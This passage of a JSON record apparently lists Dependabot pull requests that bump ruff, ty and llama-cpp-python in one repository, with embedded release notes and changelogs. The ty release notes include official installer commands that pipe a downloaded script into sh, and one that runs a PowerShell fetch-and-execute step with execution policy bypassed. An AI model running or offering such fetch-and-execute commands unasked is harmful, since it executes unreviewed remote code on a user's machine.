[\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (`AS...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/7c6dcd9f2611999c449143d241c582dedf287964\"\u003e\u003ccode\u003e7c6dcd9\u003c/code\u003e\u003c/a\u003e [ty] Add caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/27058fc071b542bf06395ba89cabed061d313ca6\"\u003e\u003ccode\u003e27058fc\u003c/code\u003e\u003c/a\u003e [ty] Compact retained definition and expression identities (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/bf80d05f007c939799f530c9e775ed9449f5b2eb\"\u003e\u003ccode\u003ebf80d05\u003c/code\u003e\u003c/a\u003e Fix CODEOWNERS syntax (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25622\"\u003e#25622\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/10ccd511e94a81d1e836b174f1c553a73ff3f1b3\"\u003e\u003ccode\u003e10ccd51\u003c/code\u003e\u003c/a\u003e Shrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/0d7135f4d23e7f4d8404daed16b9ef11d14f3fb9\"\u003e\u003ccode\u003e0d7135f\u003c/code\u003e\u003c/a\u003e [ty] Upgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/49493a3cea83a08fa9aa143695017c816a540f1d\"\u003e\u003ccode\u003e49493a3\u003c/code\u003e\u003c/a\u003e [ty] Show type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/85207d3b7657a84252f266766cb0d56034dc21cc\"\u003e\u003ccode\u003e85207d3\u003c/code\u003e\u003c/a\u003e [ty] sys.implementation.version is not sys.version_info (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/a8a0614348c1fcf47fc9b666eff61a103914d520\"\u003e\u003ccode\u003ea8a0614\u003c/code\u003e\u003c/a\u003e [ty] Avoid retaining duplicate function signatures (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25609\"\u003e#25609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ruff/compare/0.15.12...0.15.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.44\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.44\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid treating \u003ccode\u003esys.implementation.version\u003c/code\u003e like \u003ccode\u003esys.version_info\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix anchor point for override diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25621\"\u003e#25621\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompact retained definition and expression identities (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReuse expression cache for TypedDict union inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25643\"\u003e#25643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable narrowing for unions of TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25188\"\u003e#25188\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lerebear\"\u003e\u003ccode\u003e@​lerebear\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/carljm\"\u003e\u003ccode\u003e@​carljm\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pierrem964\"\u003e\u003ccode\u003e@​pierrem964\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Hugo-Polloli\"\u003e\u003ccode\u003e@​Hugo-Polloli\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eInstall ty 0.0.44\u003c/h2\u003e\n\u003ch3\u003eInstall prebuilt binaries via shell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003ecurl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ty/releases/download/0.0.44/ty-installer.sh | sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eInstall prebuilt binaries via powershell script\u003c/h3\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003epowershell -ExecutionPolicy Bypass -c \u0026quot;irm https://releases.astral.sh/github/ty/releases/download/0.0.44/ty-installer.ps1 | iex\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eDownload ty 0.0.44\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/blob/main/CHANGELOG.md\"\u003ety's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.44\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAvoid treating \u003ccode\u003esys.implementation.version\u003c/code\u003e like \u003ccode\u003esys.version_info\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25608\"\u003e#25608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix anchor point for override diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25621\"\u003e#25621\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow type alias value on hover (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25381\"\u003e#25381\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompact retained definition and expression identities (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25606\"\u003e#25606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReuse expression cache for TypedDict union inference (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25643\"\u003e#25643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade Salsa (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25545\"\u003e#25545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable narrowing for unions of TypedDict (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25188\"\u003e#25188\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lerebear\"\u003e\u003ccode\u003e@​lerebear\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/carljm\"\u003e\u003ccode\u003e@​carljm\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pierrem964\"\u003e\u003ccode\u003e@​pierrem964\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/charliermarsh\"\u003e\u003ccode\u003e@​charliermarsh\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Hugo-Polloli\"\u003e\u003ccode\u003e@​Hugo-Polloli\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.0.43\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-03.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't inject \u003ccode\u003eUnknown\u003c/code\u003e from non-callable elements of intersection call (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25538\"\u003e#25538\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't needlessly disambiguate the same type alias (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25563\"\u003e#25563\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix variance inference for nested type aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25567\"\u003e#25567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIgnore rejected member annotations for synthesized bindings (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25427\"\u003e#25427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNormalize dynamic class literals in cycle recovery (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25558\"\u003e#25558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRegister file roots for first-party search paths (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25522\"\u003e#25522\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTreat union-bound typevars like unions for \u003ccode\u003epossibly-missing-attribute\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25561\"\u003e#25561\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSuppress importable completions that are already in scope (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25479\"\u003e#25479\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/f5523e256eb275c9b473f174aedc383e7b050c34\"\u003e\u003ccode\u003ef5523e2\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.44 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3667\"\u003e#3667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/29ce3146faa2d42867dadd7ecbda84759b8183be\"\u003e\u003ccode\u003e29ce314\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.43 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3648\"\u003e#3648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/794322d34624abc56301bd85ac354b94ca54fbb2\"\u003e\u003ccode\u003e794322d\u003c/code\u003e\u003c/a\u003e Update docker/build-push-action action to v7.2.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3629\"\u003e#3629\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/ce89685310383494c7dfec92bd2fc2dd2a46d074\"\u003e\u003ccode\u003ece89685\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3628\"\u003e#3628\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/792fb71ca172f8d67fcfdb5fdd452a049724c8fd\"\u003e\u003ccode\u003e792fb71\u003c/code\u003e\u003c/a\u003e Update docker/login-action action to v4.2.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3630\"\u003e#3630\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/5c377476823a4b77a903fb5340d77b51d68db389\"\u003e\u003ccode\u003e5c37747\u003c/code\u003e\u003c/a\u003e Update docker/metadata-action action to v6.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3631\"\u003e#3631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/5a3e1695ce1e2205070afc18d9a7449e0ed045d0\"\u003e\u003ccode\u003e5a3e169\u003c/code\u003e\u003c/a\u003e Update docker/setup-buildx-action action to v4.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3632\"\u003e#3632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/c2500cc57e4aea85ae8e3287351538ad60a9ee00\"\u003e\u003ccode\u003ec2500cc\u003c/code\u003e\u003c/a\u003e Release: Force usage of PyPI as the index (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3616\"\u003e#3616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/7f8cb6457e8d77178ae9204f9b81a516f44444ed\"\u003e\u003ccode\u003e7f8cb64\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.42 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3615\"\u003e#3615\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/41bb0d24412ad97c214bd0019e602c463ae3feba\"\u003e\u003ccode\u003e41bb0d2\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.41 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3601\"\u003e#3601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.44\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"}},{"old_version":"0.3.16","new_version":"0.3.25","update_type":"patch","path":"the production-dependencies group across 1 directory","pr_created_at":"2026-06-02T23:07:09.000Z","version_change":"0.3.16 → 0.3.25","issue":{"uuid":"4575588082","node_id":"PR_kwDORmlZ1c7iAD6y","number":10,"state":"open","title":"deps(deps): bump llama-cpp-python from 0.3.16 to 0.3.25 in the production-dependencies group across 1 directory","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-02T23:07:09.000Z","updated_at":"2026-06-02T23:07:09.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.16","new_version":"0.3.25","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":"the production-dependencies group across 1 directory","ecosystem":"pip"},"body":"Bumps the production-dependencies group with 1 update in the / directory: [llama-cpp-python](https://github.com/abetlen/llama-cpp-python).\n\nUpdates `llama-cpp-python` from 0.3.16 to 0.3.25\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.25]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@210a6570c by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Gemma 4 multimodal chat support by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 13.0 and 13.2 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 11.8 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): add Pascal compute capability targets to CUDA wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.21]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f53577432 and sync Python bindings\u003c/li\u003e\n\u003cli\u003efix(ci): Build one arm64 release wheel for \u003ccode\u003epy3-none\u003c/code\u003e wheel publishing\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca 